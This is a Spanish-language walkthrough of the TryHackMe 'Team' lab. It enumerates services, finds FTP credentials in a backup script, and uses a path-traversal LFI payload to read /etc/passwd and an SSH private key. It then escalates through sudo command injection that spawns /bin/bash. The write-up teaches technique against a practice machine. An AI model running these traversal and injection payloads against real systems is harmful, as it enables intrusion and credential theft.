> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/tryhackme/facil/team.md).

# Team

## 1. Reconocimiento - Nmap

Se comienza con un escaneo de puertos y versiones sobre la maquina objetivo `10.129.173.245`.

```bash
nmap -sV -p- -T4 10.129.173.245
```

![Nmap](/files/PycsWHEd8MbwacMBaMlR)

**Resultados relevantes:**

| Puerto | Estado | Servicio | Version                    |
| ------ | ------ | -------- | -------------------------- |
| 21/tcp | open   | FTP      | vsftpd 3.0.5               |
| 22/tcp | open   | SSH      | OpenSSH 8.2p1 Ubuntu       |
| 80/tcp | open   | HTTP     | Apache httpd 2.4.41 Ubuntu |

***

## 2. Enumeracion Inicial

Se prueba el acceso anonimo por FTP, pero no esta permitido.

```bash
ftp 10.129.173.245
```

![FTP anonymous](/files/piP59zNsylQIaFoo1xxX)

En HTTP aparece la pagina por defecto de Apache.

![Apache default](/files/rwSmOZPsxX36N3xIEEMS)

Al revisar el codigo fuente se encuentra una pista indicando que se debe anadir `team.thm` al archivo `hosts`.

![team.thm hint](/files/fqgZlrCsJ5p1FvBN0Tzu)

```
10.129.173.245 team.thm
```

***

## 3. Enumeracion de team.thm

Tras resolver el dominio, se accede al sitio principal.

```
http://team.thm
```

![team.thm](/files/l4TkREMiKgT9ydksoFFz)

Se realiza fuzzing de directorios.

```bash
gobuster dir -u http://team.thm/ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,php,txt
```

![Gobuster team.thm](/files/zR8s9ZsD59G2Oy0bHX6r)

**Hallazgos importantes:**

| Recurso       | Codigo | Comentario             |
| ------------- | ------ | ---------------------- |
| `/robots.txt` | 200    | Contiene un nombre     |
| `/scripts/`   | 301    | Directorio interesante |
| `/assets/`    | 301    | Recursos estaticos     |
| `/images/`    | 301    | Imagenes               |

En `robots.txt` aparece el nombre `dale`.

![robots.txt](/files/vn8HIZQiBXj4M28l6EOz)

***

## 4. Directorio scripts

Se enumera `/scripts/` y se encuentra `script.txt`.

```bash
gobuster dir -u http://team.thm/scripts \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,php,txt
```

![Gobuster scripts](/files/D6HnluT6IxgjRFrvX36u)

Al abrir `script.txt`, se ve un script que copia archivos usando FTP, pero las credenciales estan redactadas. El comentario final indica que habia una version antigua con credenciales y que se cambio la extension.

![script.txt](/files/tGHvUq5pnNpC1KyQzvZw)

Se vuelve a fuzzear buscando extensiones antiguas o backups.

```bash
gobuster dir -u http://team.thm/scripts \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x php,js,py,sh,bak,old,zip
```

![Gobuster script.old](/files/hV0TUnEykHQjqvfTpKGX)

Se descubre `script.old`.

```bash
cat script.old
```

![script.old](/files/YEghHlHCKc7t9WluDR82)

**Credenciales FTP encontradas:**

| Usuario   | Password    |
| --------- | ----------- |
| `ftpuser` | `T3@m$h@r3` |

***

## 5. Acceso FTP

Se accede por FTP usando las credenciales encontradas.

```bash
ftp team.thm
```

Dentro de `workshare` aparece `New_site.txt`.

```bash
cd workshare
get New_site.txt
```

![FTP workshare](/files/Q4YTW1uAzE0OFBG6Izj4)

El contenido apunta a un nuevo virtual host en desarrollo: `dev.team.thm`.

***

## 6. Virtual Host dev.team.thm

Se anade el nuevo dominio al archivo `hosts` y se accede al sitio.

```
10.129.173.245 dev.team.thm
```

```
http://dev.team.thm
```

![dev.team.thm](/files/YkQiDZFEMyuPjzbPVQRz)

El enlace de la pagina apunta a:

```
http://dev.team.thm/script.php?page=teamshare.php
```

![teamshare.php](/files/TlP32xISKbdx4PABqYe0)

El parametro `page` parece cargar archivos. Se prueba LFI leyendo `/etc/passwd`.

```
http://dev.team.thm/script.php?page=../../../../etc/passwd
```

![LFI browser](/files/Ve4YLqNBEAwRzLjLSuLc)

Tambien se confirma desde terminal.

```bash
curl -s "http://dev.team.thm/script.php?page=../../../../etc/passwd"
```

![LFI curl](/files/6NMDCQ0doIBad5YurH82)

Usuarios interesantes:

| Usuario | Home          | Shell       |
| ------- | ------------- | ----------- |
| `dale`  | `/home/dale`  | `/bin/bash` |
| `gyles` | `/home/gyles` | `/bin/bash` |

***

## 7. Lectura de Archivos Sensibles

Se usa el LFI para leer archivos del sistema. Entre ellos destaca `/etc/ssh/sshd_config`.

![Archivos sensibles](/files/dB1XOiYoVh28cHxjQXGP)

```bash
curl -s "http://dev.team.thm/script.php?page=../../../../etc/ssh/sshd_config"
```

![sshd\_config](/files/oZQk5uqx08VdYUrKDF24)

Dentro del archivo aparece una clave privada comentada para `dale`.

![id\_rsa dale](/files/ZLoI5e9DMdT1t3SPs1Zi)

Se guarda la clave privada en `id_rsa_dale` y se ajustan permisos.

```bash
nano id_rsa_dale
chmod 600 id_rsa_dale
```

***

## 8. Acceso SSH como dale

Se accede por SSH usando la clave privada obtenida.

```bash
ssh dale@10.129.130.59 -i id_rsa_dale
```

![SSH dale](/files/dKe1hcAFoGxHV01C9kst)

Acceso conseguido como `dale`.

***

## 9. Enumeracion de Privilegios

Se revisan los permisos de `sudo`.

```bash
sudo -l
```

![sudo -l](/files/pBZUGq26Exc8abhsimtv)

**Permiso encontrado:**

```
(gyles) NOPASSWD: /home/gyles/admin_checks
```

El usuario `dale` puede ejecutar `/home/gyles/admin_checks` como `gyles`.

Se revisa el contenido del script.

```bash
cat /home/gyles/admin_checks
```

![admin\_checks](/files/YVyj0EIWYRxvCppuXLQq)

El script pide un nombre y una fecha. La fecha introducida se usa en una llamada a `date` sin validacion, lo que permite ejecutar comandos.

***

## 10. Escalada a gyles

Se ejecuta el script como `gyles` y se inyecta `/bin/bash` cuando pide la fecha.

```bash
sudo -u gyles ./admin_checks
```

Entradas:

```
Enter name of person backing up the data: /bin/bash
Enter 'date' to timestamp the file: /bin/bash
```

![Shell gyles](/files/ooLt6IfNcwCpcOnmjegO)

El resultado confirma el cambio de usuario:

```
uid=1001(gyles) gid=1001(gyles) groups=1001(gyles),108(lxd),1003(editors),1004(admin)
```

***

## Resumen

| Paso | Tecnica           | Resultado                        |
| ---- | ----------------- | -------------------------------- |
| 1    | Nmap              | FTP, SSH y HTTP abiertos         |
| 2    | Codigo fuente     | Dominio `team.thm` descubierto   |
| 3    | Gobuster          | `/scripts/` encontrado           |
| 4    | Backup expuesto   | Credenciales FTP en `script.old` |
| 5    | FTP               | Descubrimiento de `dev.team.thm` |
| 6    | LFI               | Lectura de `/etc/passwd`         |
| 7    | LFI               | Clave privada de `dale`          |
| 8    | SSH               | Acceso como `dale`               |
| 9    | `sudo -l`         | `admin_checks` como `gyles`      |
| 10   | Command injection | Shell como `gyles`               |

***

## Conclusion

La maquina se compromete mediante una cadena de enumeracion web: primero se descubre `team.thm`, luego un backup `script.old` filtra credenciales FTP y desde ahi aparece el virtual host `dev.team.thm`. En este host existe un LFI que permite leer una clave privada SSH de `dale`. La escalada posterior se realiza abusando del script `admin_checks`, ejecutable como `gyles` mediante `sudo`, donde una entrada no validada permite ejecutar `/bin/bash`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/tryhackme/facil/team.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
